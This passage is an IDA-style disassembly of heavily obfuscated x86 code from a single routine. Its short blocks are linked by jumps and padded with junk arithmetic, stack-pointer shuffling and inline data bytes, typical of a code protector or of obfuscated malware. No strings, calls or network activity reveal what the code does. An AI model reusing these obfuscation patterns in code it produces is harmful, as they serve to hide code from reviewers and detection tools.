		dd 0C483242Ch, 241C3304h, 0E9241C31h, 0A056h, 5EBC15Bh
		dd 0FFB44AE9h, 24248BFFh, 122468h, 241C8900h, 1E65B951h
		dd 52E97C3Ch, 0BD00007Dh, 154104BBh, 57E3E9h, 0E9535900h
		dd 0FFFFBE97h, 81241C8Bh, 4ECh,	0E809E900h, 0DA010000h
		dd 3762C281h, 1C8B6506h, 4C48124h, 0E9000000h, 0FFFF9F38h
; ---------------------------------------------------------------------------

loc_559614:				; CODE XREF: sub_542C3C+1701Aj
		xchg	eax, [esp+64h+var_64]
		pop	esp
		jmp	loc_561EA4
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 242C895Ch, 2FF06851h, 81593DBEh, 704C80F1h, 59CD897Dh
		dd 67FCC781h, 0EF813414h, 3C4A0570h, 0C781EF01h, 3C4A0570h
		dd 67FCEF81h, 2C8B3414h, 4B6EE924h, 0F0280000h,	8324148Bh
		dd 685904C4h, 2A80h, 52240489h,	0D088B3B2h, 4A60E9h
		db 0
; ---------------------------------------------------------------------------

loc_559671:				; CODE XREF: sub_542C3C+1908Cj
		push	[esp+60h+var_5C]
		pop	ebp
		pop	[esp+60h+var_60]
		mov	esp, [esp+5Ch+var_5C]
		div	cl
		movzx	cx, ah
		push	small 7F39h
		jmp	loc_555082
; ---------------------------------------------------------------------------
aYbx5ylHj	db 'Yå5Yl',8,'h†<',0
		dw 0E900h
		dd 74EDh, 56241C8Bh, 0C681E689h, 4, 4C681h, 0FF560000h
		dd 5E042474h, 4F8E9h, 0BBC58100h, 0E929C856h, 0C0C4h
; ---------------------------------------------------------------------------

loc_5596C4:				; CODE XREF: sub_542C3C+1B47Cj
		xor	ecx, esi
		pop	esi
		xor	ecx, 4ED2BE23h
		add	ebp, 433931CFh
		sub	ebp, ecx
		sub	ebp, 433931CFh
		push	[esp+5Ah+var_5C+2]
		push	[esp+5Eh+var_60+2]
		pop	ecx
		add	esp, 4
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp+56h+var_58+2]
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+56h+var_58+2], eax
		xchg	edx, [esp+56h+var_58+2]
		not	edx
		xchg	edx, [esp+56h+var_58+2]
		mov	eax, [esp+56h+var_58+2]
		push	30A5h
		mov	[esp+5Ah+var_5C+2], esi
		jmp	loc_555C83
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 5
		dd 5E550FE5h, 152E68h, 24348900h, 2359E9h, 2EEB8100h, 2937C507h
		dd 9711E9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55973A:				; CODE XREF: sub_542C3C+2317Aj
		add	edx, ecx
		add	edx, 5F6A6A95h
		pop	ecx
		jmp	loc_55F4D5
; ---------------------------------------------------------------------------
		dd 8851E288h, 59CB88D1h, 0DCFDE9h, 4EC8100h, 89000000h
		dd 60B82404h, 2D16716Ah, 0DBDF29C2h, 57A7BB53h,	0DA014998h
		dd 5B2434FFh, 4EA9E9h
		db 0
; ---------------------------------------------------------------------------

loc_559779:				; CODE XREF: sub_542C3C+24138j
		mov	eax, 64AD4BAAh
		add	ebx, eax
		push	[esp+56h+var_58+2]
		push	[esp+5Ah+var_5C+2]
		pop	eax
		jmp	loc_556B4C
; ---------------------------------------------------------------------------

loc_55978C:				; CODE XREF: sub_542C3C+12018j
		pop	ebx
		shr	ebx, 3
		shl	ebx, 6
		add	ebx, 201C2EA5h
		push	ebx
		mov	eax, [esp+74h+var_74]
		jmp	loc_556ADB
; ---------------------------------------------------------------------------
		dw 0F281h
aKl6sI		db 7,'K‹6é#ë',0
		dd 57016800h, 815E0070h, 8FA901C6h, 6959E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5597BE:				; CODE XREF: sub_542C3C+11535j
		sub	esi, 7FBA1A01h
		jmp	loc_5635F9
; ---------------------------------------------------------------------------
		db 68h,	82h, 7Ah
		dd 2C890000h, 10F2BD24h, 0A8E90EE0h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5597DB:				; CODE XREF: sub_542C3C+12D4Fj
		sub	edx, 0BCC253FCh
		add	ecx, edx
		pop	edx
		push	edi
		push	ecx
		mov	ecx, 1F2B0DF5h
		sub	ecx, 5A552392h
		jmp	loc_566055
; ---------------------------------------------------------------------------

loc_5597F6:				; CODE XREF: sub_542C3C+1AD81j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0A6h+var_A6]
		pop	esp
		mov	[esp+0A2h+var_A2], esp
		jmp	loc_56147B
; ---------------------------------------------------------------------------
		db 81h
		dd 2C2h, 4EC8300h, 0FFAF62E9h, 5F5557FFh, 5C8EE95Dh, 0D15F0000h
		dd 0D5F181E9h, 136AB21h, 143359CAh, 24143124h, 0E9241433h
		dd 4306h
; ---------------------------------------------------------------------------

loc_55983C:				; CODE XREF: sub_542C3C+12BDFj
		mov	edi, 7FE04CD7h
		inc	edi
		and	edi, 127522D1h
		xor	edi, 16DB0A02h
		xor	ebp, edi
		mov	edi, [esp+0B2h+var_B2]
		jmp	loc_566A46
; ---------------------------------------------------------------------------

loc_559858:				; CODE XREF: sub_542C3C+24C20j
		xor	[esp+0B2h+var_B2], eax
		xor	eax, [esp+0B2h+var_B2]
		pop	esp
		or	eax, eax
		jmp	loc_5552D7
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 4C1530DEh, 0D3F7DF87h, 0EF81DF87h, 9183DAB2h, 9F42E957h
		dd 0F7010000h, 2782C781h, 0E95E798Bh, 0D161h
; ---------------------------------------------------------------------------

loc_55988C:				; CODE XREF: sub_542C3C+11B9Cj
		push	[esp+7Ch+var_7C]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+80h+var_80]
		pop	esp
		sub	esp, 4
		jmp	loc_55EFC7
; ---------------------------------------------------------------------------
		db 20h
		dd 48B66E7h, 2C48324h, 9E49E950h, 0E7890000h, 4C781h, 0EF830000h
		dd 74FF5704h, 8F5F0424h, 0E95C2404h, 0CF8Ah, 15F1C281h
		dd 0C2013665h, 15F1EA81h, 0EA813665h, 45444A12h, 774968h
		dd 242C8900h, 64E7E950h, 895C0000h, 0EC81240Ch,	4, 68241C89h
		dd 30564E24h, 3587E9h, 48F5D00h, 9F16E924h, 4A250000h
		dd 0C1532678h, 0C8E903E8h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559923:				; CODE XREF: sub_542C3C+206ADj
		add	esp, 4
		sub	esp, 4
		mov	[esp+80h+var_80], ecx
		jmp	loc_5650FA
; ---------------------------------------------------------------------------

loc_559934:				; CODE XREF: sub_542C3C+136E7j
		pop	ecx
		jmp	loc_56392A
; ---------------------------------------------------------------------------

loc_55993A:				; CODE XREF: sub_542C3C+1BC85j
		pop	esi
		jmp	loc_557791
; ---------------------------------------------------------------------------

loc_559940:				; CODE XREF: sub_542C3C+24A8Aj
		push	esi
		jmp	loc_556ABE
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 67F9E9h, 0E9D8F700h, 6607h, 9C241CF7h, 0FF9BEBE9h
		dd 4B9FFh, 89500000h, 405E0h, 0BDE90000h, 530000A7h, 97FCE9h
		db 0
; ---------------------------------------------------------------------------

loc_559979:				; CODE XREF: sub_542C3C+19897j
		mov	ebp, 54272CC6h
		mov	ecx, 54272CEAh
		sub	ecx, ebp
		pop	ebp
		add	ecx, edi
		push	edx
		mov	edx, 0
		add	edx, ecx
		add	[edx], ebp
		jmp	loc_55F522
; ---------------------------------------------------------------------------

loc_559997:				; CODE XREF: sub_542C3C+14B5Fj
		mov	[esp+0B6h+var_B6], esi
		jmp	loc_559A4E
; ---------------------------------------------------------------------------

loc_55999F:				; CODE XREF: sub_542C3C+1A94Cj
		sub	esp, 4
		mov	[esp+0BAh+var_BA], edi
		jmp	loc_55D7E1
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4BD55h, 0EF010000h, 0FFCE03E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5599BD:				; CODE XREF: sub_542C3C+1C8ABj
		pop	edi
		inc	edi
		sub	edi, 1
		xor	edi, 309917FEh
		mov	edx, edi
		mov	edi, [esp+0B6h+var_B6]
		jmp	loc_561A03
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 7
		dd 0E902E9C1h, 0B03Fh, 4BEh, 50EF8100h,	1677749h, 50BD55F7h
		dd 81677749h, 340BB1EFh, 81EF0127h, 340BB1C7h, 555E5D27h
		dd 2BDh, 4143E900h, 0C8290000h,	8B1F142Dh, 18E95913h, 81000015h
		dd 4C7h, 1A54E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559A26:				; CODE XREF: sub_542C3C+1CF1Cj
		add	edi, 4
		xchg	edi, [esp+0B6h+var_B6]
		jmp	loc_55A66D
; ---------------------------------------------------------------------------
		dd 5C242C33h, 0B9240C89h, 4, 34FFCA01h,	89505924h, 0A8A8E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559A4E:				; CODE XREF: sub_542C3C+16D5Ej
		push	61CEh
		mov	[esp+0BAh+var_BA], ebx
		mov	ebx, 5A901FCDh
		mov	esi, 5A901FD1h
		sub	esi, ebx
		pop	ebx
		jmp	loc_55397E
; ---------------------------------------------------------------------------
		dd 7C9AC781h, 0DFF76A2Ah, 819CE9h, 4C38100h, 87000000h
		dd 875C241Ch, 0E95C2404h, 0FFFFD914h, 0D55C181h, 348B011Ah
		dd 1AE95024h, 810000E1h, 4ECh, 24148900h, 0C281E289h, 4
		dd 4C281h, 14870000h, 25345C24h, 3058C630h, 24148BF0h
		dd 4C481h, 0B8680000h, 89000018h, 7EE9240Ch, 81FFFFE5h
		dd 0DC7E7CE9h, 0E9C8014Ch, 5268h, 1730C181h, 0E9493CACh
		dd 0FFFFE658h, 7B3168h,	0AE21E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559AF2:				; CODE XREF: sub_542C3C+16143j
		pop	esp
		pop	ecx

loc_559AF4:				; CODE XREF: sub_542C3C:loc_56101Fj
		push	0DFDh
		mov	[esp+48h+var_48], esi
		push	7522h
		mov	[esp+4Ch+var_4C], esp
		add	[esp+4Ch+var_4C], 4
		push	[esp+4Ch+var_4C]
		pop	esi
		add	esp, 4
		jmp	loc_5646A6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95B2434h, 0FFFFBD85h
; ---------------------------------------------------------------------------

loc_559B20:				; CODE XREF: sub_542C3C+1D217j
		pop	edx
		jmp	loc_5555DF
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFD802h, 0C86820BFh, 2E7C154h, 3C8AE9h, 6E95100h
		dd 810000E3h, 4C2412F2h, 0ACBB5351h, 8109D022h,	971375EEh
		dd 0E9DE0143h, 0FFFFDB94h
; ---------------------------------------------------------------------------

loc_559B58:				; CODE XREF: sub_542C3C+10D94j
		mov	edx, 29037E08h
		sub	edx, 4F22283Bh
		xor	edx, 11A60F8Bh
		dec	edx
		xor	edx, 0B7E8602Ah
		jmp	loc_565DBB
; ---------------------------------------------------------------------------

loc_559B75:				; CODE XREF: sub_542C3C+17089j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+40h+var_40]
		jmp	loc_557168
; ---------------------------------------------------------------------------
aXpsdp		db 'XPé¤P',0
		dd 30BE3400h, 24048BC7h, 0FFC4FFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559B99:				; CODE XREF: sub_542C3C+18B2Fj
		sub	[esp+40h+var_3C], 5069348Bh
		pop	ecx
		jmp	loc_5603F1
; ---------------------------------------------------------------------------
		db 0F6h
aAqps		db '߀ïéÕÇ',0
		dd 24048F00h, 5A5B525Ch, 48F6BD55h, 0E9013833h,	81D9015Dh
		dd 3348F6E9h, 241C8B38h, 4C481h, 0C870000h, 24248B24h
		dd 0C584E9h
		db 0
; ---------------------------------------------------------------------------

loc_559BDD:				; CODE XREF: sub_542C3C+136EFj
		add	eax, 4
		jmp	loc_565167
; ---------------------------------------------------------------------------

loc_559BE5:				; CODE XREF: sub_542C3C+23B36j
		push	2482h
		mov	[esp+94h+var_94], edi
		push	eax
		mov	eax, 80h
		sub	esp, 4
		jmp	loc_5586AA
; ---------------------------------------------------------------------------
		db 81h
		dd 24785DCAh, 5CF28109h, 520DA478h, 68E95A5Bh, 0B9000042h
		dd 5ED701ECh, 4DFEE9h, 4EB8100h, 87000000h, 895C241Ch
		dd 0BB241Ch, 1000000h, 0B951CBh, 1000000h, 0BB53D9h, 1000000h
		dd 0B951CBh, 1000000h, 590103D9h, 0A223E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559C4E:				; CODE XREF: sub_542C3C+1F20Cj
		add	eax, 4
		add	eax, 4
		jmp	loc_559614
; ---------------------------------------------------------------------------

loc_559C5B:				; CODE XREF: sub_542C3C+10B77j
		sub	ecx, ebp
		add	ecx, 5D1E4AFBh
		push	edi
		mov	edi, 2C4F2DA1h
		or	edi, 4E844115h
		dec	edi
		add	edi, 9234CEC1h
		add	ecx, edi
		pop	edi
		mov	ebp, [esp+58h+var_58]
		jmp	loc_55D4FF
; ---------------------------------------------------------------------------

loc_559C81:				; CODE XREF: sub_542C3C+1ECBAj
		push	ecx
		mov	ecx, 325A0413h
		add	ecx, 0FFFFFFFFh
		add	ecx, 0CDA5FBEDh
		jmp	loc_55E05D
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4E9h, 84E95100h, 8100002Fh, 4B3EB2EBh, 0EA815F07h
		dd 65063762h, 0FFF945E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559CB9:				; CODE XREF: sub_542C3C+12A6Ej
		add	bl, al
		add	bl, 1Bh
		pop	eax
		mov	eax, [esp+8Eh+var_90+2]
		push	esi
		mov	esi, esp
		jmp	loc_559B75
; ---------------------------------------------------------------------------
		dw 73BBh
		dd 1648F0Bh, 0BE565BDDh, 0EF567A90h, 15EF529h, 0CA015DEAh
		dd 4025EA81h, 0C8B3E52h, 4C48124h, 81000000h, 4C2h, 2C43E900h
		dd 0EE890000h, 2EEC15Dh, 0EBC3E952h, 0C2810000h, 509200A7h
		dd 0EA81CA29h, 509200A7h, 522CEA81h, 0C8B300Eh,	4C48124h
		dd 0E9000000h, 0DB89h
; ---------------------------------------------------------------------------

loc_559D28:				; CODE XREF: sub_542C3C+21866j
		xchg	edx, [esp+92h+var_94+2]
		pop	esp
		push	eax
		mov	eax, esp
		push	4796h
		mov	[esp+96h+var_98+2], ecx
		push	edi
		mov	edi, 4
		mov	ecx, edi
		pop	edi
		add	eax, ecx
		mov	ecx, [esp+96h+var_98+2]
		jmp	loc_554120
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0DF3BE924h, 0F5E9FFFFh, 0BEFFFF97h, 7FE55455h, 0EAE9F189h
		dd 0AC000080h, 616D6866h, 0FFA5E4E9h, 0C368ACFFh, 89000036h
		dd 168240Ch, 89000054h,	0BFB42404h, 50E68852h, 0F5885153h
		dd 0E959EB88h, 0BEBh, 0D3AEE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559D96:				; CODE XREF: sub_542C3C+18177j
		mov	edx, [esp+96h+var_98+2]
		add	esp, 4
		jmp	loc_568099
; ---------------------------------------------------------------------------
aSli		db ']élë',0
		dw 5A00h
		dd 4C281h, 1AE90000h, 4100005Dh, 5FE0E981h, 52493C7Fh
		dd 1C47B951h, 0E9C13DD4h, 0ABE98106h, 89AC1449h, 0BB6E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559DD2:				; CODE XREF: sub_542C3C+12451j
		jmp	loc_55354C
; ---------------------------------------------------------------------------

loc_559DD7:				; CODE XREF: sub_542C3C+1EDC2j
		add	esp, 4
		and	eax, edx
		pop	edx
		shr	eax, 8
		xor	eax, ecx
		xor	eax, ebx
		jmp	loc_561959
; ---------------------------------------------------------------------------
		dd 56240C8Bh, 433BE9h, 9752E900h, 15BFFFFh, 0D00158C2h
		dd 61E9555Ah, 58FFFFC9h, 8B24048Fh, 0EAE92424h,	68000017h
		dd 217E69A5h, 0F1814159h, 96B365Ch, 5250E1D1h, 0B1B3E9h
		dd 5A0AB800h, 0C22944B7h, 24348B58h, 0BF2FE951h, 0F5810000h
		dd 6184615Bh, 15DEA89h,	0CFB8E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559E4A:				; CODE XREF: sub_542C3C+123F2j
		xor	esi, 47895415h
		mov	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+9Ch+var_9C], ebp
		mov	ebp, 0D973799h
		jmp	loc_55C09F
; ---------------------------------------------------------------------------

loc_559E63:				; CODE XREF: sub_542C3C+11373j
		mov	eax, [esp+74h+var_74]
		push	eax
		mov	eax, esp
		jmp	loc_55CC4C
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 5F15C781h, 0EF815EA7h, 6BEC711Eh, 2A68685Eh,	3C890000h
		dd 2474FF24h, 243C8B04h, 0C116E9h, 5F756800h, 0E9540000h
		dd 0FFFFE693h, 0D0459FB9h, 26F1E909h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559EA6:				; CODE XREF: sub_542C3C+17375j
		sub	ebp, 5AF36696h
		jmp	loc_561A7F
; ---------------------------------------------------------------------------
		align 2
		dw 0E9CBh
		dd 0FFFFB163h, 4B9h, 59CD0100h,	4EC81h,	4890000h, 0AC79E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559ECE:				; CODE XREF: sub_542C3C+258B1j
		pop	edx
		or	ebp, edi
		pop	edi
		add	ebp, 28E4C369h
		mov	ecx, ebp
		pop	ebp
		xor	ecx, esi
		pop	esi
		jmp	loc_560DAE
; ---------------------------------------------------------------------------
		db 45h
		dd 63F581h, 0EE0128A1h,	23E9565Dh, 52000086h, 4BAh, 5AD60100h
		dd 4C681h, 0A8680000h, 89000076h, 74FF2434h, 34FF0424h
		dd 3677E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559F16:				; CODE XREF: sub_542C3C+21E94j
		push	eax
		mov	eax, 0FFFFFFFFh
		add	ecx, eax
		jmp	loc_55D1C8
; ---------------------------------------------------------------------------
		db 81h
		dd 0CC75CEC1h, 81F1017Bh, 0CC75CEE9h, 36685E7Bh, 0E9000012h
		dd 0BBBAh, 4EC8356h, 81242489h,	42404h,	685E0000h, 6986h
		dd 86B5E9h, 5BD92800h, 4FE7E9h,	0B9515300h, 2DB258E8h
		dd 0C181D9F7h, 0DF650896h, 0FFCCC2E9h, 5FFB29FFh, 0B7B9E952h
		dd 0E95C0000h, 0FFFF95CCh, 4373BE56h, 62E94D0Dh, 33FFFFA9h
		dd 248B2404h, 2434FF24h, 582434FFh, 515B5453h, 4B9h, 59CB0100h
		dd 4BE56h, 31E90000h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559FAF:				; CODE XREF: sub_542C3C+24F3Dj
		add	ebp, edi
		jmp	loc_559EA6
; ---------------------------------------------------------------------------

loc_559FB6:				; CODE XREF: sub_542C3C+15173j
		add	esp, 4
		inc	ebx
		push	eax
		mov	eax, 6EFD231Dh
		neg	eax
		and	eax, 58474E30h
		jmp	loc_55D4F2
; ---------------------------------------------------------------------------
		dd offset loc_41AB65+3
		align 4
		dd 24048F54h, 4240481h,	0FF000000h, 2C8B2434h, 4C48124h
		dd 83000000h, 0EC8304C4h, 240C8904h, 481DBB53h,	21E94BD2h
		dd 66FFFFB8h, 68240C8Bh, 1E14h,	0FFEB83E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A00D:				; CODE XREF: sub_542C3C+21035j
		mov	[esp+50h+var_50], edx
		jmp	loc_55698C
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 52000000h, 4BAh, 4648E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A026:				; CODE XREF: sub_542C3C+21C63j
		and	eax, esi
		push	[esp+50h+var_50]
		push	[esp+54h+var_54]
		pop	esi
		sub	esp, 4
		jmp	loc_55D78B
; ---------------------------------------------------------------------------
		db 2Dh
		dd 588502DFh, 649DE9h, 0FFFE2800h, 34FF2434h, 0C4E95B24h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A04F:				; CODE XREF: sub_542C3C+1B036j
		push	[esp+58h+var_54]
		mov	ebx, [esp+5Ch+var_5C]
		add	esp, 4
		pop	[esp+58h+var_58]
		jmp	loc_5616D7
; ---------------------------------------------------------------------------
		dd 2C581h, 2C870000h, 8F665C24h, 0D5E92404h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A077:				; CODE XREF: sub_542C3C+1DB0Aj
		mov	[esp+54h+var_54], ebx
		push	700Dh
		mov	[esp+58h+var_58], edx
		push	eax
		mov	eax, 7C36074Ah
		xchg	eax, edi
		dec	edi
		xchg	eax, edi
		xor	eax, 274A6261h
		neg	eax
		jmp	loc_565561
; ---------------------------------------------------------------------------

loc_55A097:				; CODE XREF: sub_542C3C+10BB1j
		pop	ebx
		xor	eax, ebx
		jmp	loc_554FC9
; ---------------------------------------------------------------------------
aVsY		db 'VéÈy',0
		dd 5EF38900h, 815BD889h, 0FE1FF3C3h, 81C3013Dh,	0FE1FF3EBh
		dd 1C87583Dh, 24248B24h, 8904EC83h, 0A3E92414h,	890000A4h
		dd 0E789243Ch, 4C781h, 0F0E90000h, 890000D0h, 411E9E2h
		dd 0C3810000h, 430A4D14h, 95EBE952h, 2C890000h,	4777BD24h
		dd 0EF0108ECh, 0E9242C8Bh, 0AA4Eh, 0E92434FFh, 8EC3h, 4235665Fh
		dd 0C3816602h, 8166274Eh, 6630B3C3h, 8166C301h,	6630B3EBh
		dd 274EEB81h, 0E924048Bh, 5CF9h, 4BDh, 5DE90100h, 4C181h
		dd 12E90000h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A13F:				; CODE XREF: sub_542C3C+1CC6Aj
		add	esi, ebp
		pop	ebp
		push	ebp
		push	eax
		jmp	loc_5561D2
; ---------------------------------------------------------------------------

loc_55A149:				; CODE XREF: sub_542C3C+14715j
		sub	al, 9Eh
		add	al, 1Eh
		jmp	loc_564968
; ---------------------------------------------------------------------------

loc_55A152:				; CODE XREF: sub_542C3C+2496Ej
		pop	esi
		add	esp, 4
		push	eax
		push	ecx
		mov	ecx, 3AE62DCBh
		mov	eax, ecx
		jmp	loc_55391C
; ---------------------------------------------------------------------------
		dd 240C8B66h, 6AD168h, 243C8900h, 0FFFD1CE9h, 0B1E955FFh
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A17B:				; CODE XREF: sub_542C3C+19B27j
		add	ecx, 4
		xchg	ecx, [esp+88h+var_88]
		pop	esp
		or	eax, eax
		jz	loc_566C96
		push	6771h
		mov	[esp+88h+var_88], ebx
		push	eax
		jmp	loc_56310F
; ---------------------------------------------------------------------------
		dd 3C2F91BEh, 814E4E60h, 3EFD28EEh, 0F2895229h,	0D2E9D389h
		dd 5900006Fh, 4EC81h, 34890000h, 317A6824h, 34E90000h
		dd 81FFFFF1h, 3C2E91EAh, 0CD96E947h, 8956FFFFh,	4EC81E6h
		dd 0E9000000h, 88D8h
; ---------------------------------------------------------------------------

loc_55A1DC:				; CODE XREF: sub_542C3C+13F52j
		pop	esi
		add	esi, 4
		push	ecx
		mov	ecx, 4516469Ah
		shr	ecx, 4
		dec	ecx
		jmp	loc_56462F
; ---------------------------------------------------------------------------
		dw 0E883h
		dd 24048702h, 0E924248Bh, 3A54h
; ---------------------------------------------------------------------------

loc_55A200:				; CODE XREF: sub_542C3C+2168Aj
		mov	ebx, [esp+80h+var_80]
		add	esp, 4
		jmp	loc_56693B
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 4C781h, 3C870000h, 4055C24h, 50000000h
		dd 42474FFh, 0E924048Bh, 7E93h,	514ACC80h, 0E180E2B1h
		dd 0D9E9800Ch, 0E9A4E180h, 0C1A6h, 335CA6BEh, 8BF03108h
		dd 0C4812434h, 4, 5603E8C1h, 405797BEh,	0E9F0010Eh, 2927h
		dd 6491E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A26A:				; CODE XREF: sub_542C3C+18D47j
		mov	ebx, esp
		push	eax
		mov	eax, 5F9743C1h
		inc	eax
		sub	eax, 2F820165h
		add	eax, 0CFEABDA7h
		add	ebx, eax
		pop	eax
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	ebx
		jmp	loc_55B165
; ---------------------------------------------------------------------------

loc_55A28F:				; CODE XREF: sub_542C3C+1FBA5j
		add	bh, 0FDh
		and	cl, bh
		push	[esp+80h+var_80]
		pop	ebx
		add	esp, 4
		jmp	loc_561F23
; ---------------------------------------------------------------------------
		dd 0D586D2F6h, 88EC8850h, 92EBE9E6h, 2C890000h,	0B89EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A2B6:				; CODE XREF: sub_542C3C+193F4j
		mov	[esp+7Ch+var_7C], ebp
		push	edi
		push	eax
		jmp	loc_567848
; ---------------------------------------------------------------------------
		dd 4240483h, 5CFC685Ah,	1C890000h, 27F6824h, 4890000h
		dd 751A6824h, 53587233h, 1B624DBBh, 5BD80111h, 28563335h
		dd 680Bh, 2C810000h, 2739C424h,	0AF86E965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A2FA:				; CODE XREF: sub_542C3C+10D1Aj
		add	esp, 4
		push	eax
		push	ecx
		mov	cl, 35h
		add	cl, 1
		push	ebx
		mov	bh, 59h
		shr	bh, 5
		shr	bh, 3
		and	bh, 45h
		add	bh, 3Ch
		xor	cl, bh
		pop	ebx
		mov	ah, cl
		pop	ecx
		add	ah, 0Fh
		jmp	loc_5630BB
; ---------------------------------------------------------------------------

loc_55A324:				; CODE XREF: sub_542C3C+118AFj
		push	dword ptr [eax]
		jmp	loc_55E323
; ---------------------------------------------------------------------------
		db 87h
		dd 15E92414h, 6800009Bh, 4CACh,	0BE243489h, 96B5A3Dh, 1967BB53h
		dd 448166EAh, 57CB0824h, 4EE92FADh
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A353:				; CODE XREF: sub_542C3C+18C14j
		and	ebx, edi
		pop	edi
		or	ebx, ebx
		jmp	loc_553FD7
; ---------------------------------------------------------------------------

loc_55A35D:				; CODE XREF: sub_542C3C+1CB04j
		pop	ecx
		add	ebp, ebx
		pop	ebx
		push	ebp
		jmp	loc_557FD3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0F7E2D100h, 0DFF281D2h, 0E977415Dh, 6ED7h, 0E9243C8Bh
		dd 0B9FBh, 5C241C87h, 0DBE9CF89h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A38F:				; CODE XREF: sub_542C3C+22AF2j
		pop	esi
		jmp	loc_55802C
; ---------------------------------------------------------------------------
		align 2
		dw 0E9D5h
		dd 0FFFFC4A3h, 0FF2434FFh, 0C8B2434h, 4C48124h,	81000000h
		dd 4C4h, 0CA52E900h, 0F001FFFFh, 5024348Bh, 5C1BE9h, 242C8900h
		dd 3E7204BDh, 66E9564Bh, 0F6000037h, 0F65A2414h, 70BEE9DAh
		dd 0EC810000h, 4, 0B4240489h, 6ECC091h,	0C0B8CC80h, 0C48008ECh
		dd 0CC80FFh, 301FC480h,	24048BE3h, 0FFB0B1E9h, 5BD889FFh
		dd 3D86E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A409:				; CODE XREF: sub_542C3C+1C525j
		add	ebx, 8F33A12h
		add	ebx, edi
		sub	ebx, 8F33A12h
		mov	eax, [ebx]
		mov	ebx, [esp+70h+var_70]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+74h+var_74]
		pop	esp
		mov	[esp+70h+var_70], ebp
		sub	esp, 4
		jmp	loc_568039
; ---------------------------------------------------------------------------

loc_55A443:				; CODE XREF: sub_542C3C+1C60Fj
		mov	bh, 0Dh
		mov	dl, 81h
		sub	dl, bh
		pop	ebx
		push	ecx
		push	edx
		mov	dh, 0CBh
		jmp	loc_5631DE
; ---------------------------------------------------------------------------

loc_55A453:				; CODE XREF: sub_542C3C+140CCj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+90h+var_90]
		pop	esp
		jmp	loc_5554CB
; ---------------------------------------------------------------------------
		db 53h
		dd 9926A0BBh, 99D4E928h, 0ED80FFFFh, 0FF1BE99Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A47A:				; CODE XREF: sub_542C3C+15A69j
		sub	ecx, 1AD47779h
		pop	edx
		jmp	loc_554F7D
; ---------------------------------------------------------------------------
		dw 0E268h
		dd 8900001Bh, 67E92434h, 89000067h, 0DCF7E9E0h,	295DFFFFh
		dd 0DE955D8h
		db 0E0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A4A3:				; CODE XREF: sub_542C3C+1ADF4j
		add	eax, 4
		jmp	loc_5567FE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 81E18951h, 4C1h, 4C18300h, 31240C33h, 0C33240Ch
		dd 6C685C24h, 89000007h, 5954240Ch, 4C181h, 0BF570000h
		dd 73155F5Eh, 0FFA319E9h, 1C77FFFFh, 411589Dh, 59E99C24h
		dd 81FFFF90h, 4C2h, 7C5B6800h, 0C890000h, 4B924h, 0CA010000h
		dd 0FFDD11E9h, 2E0068FFh, 14890000h, 0B8505324h, 21DB227Ch
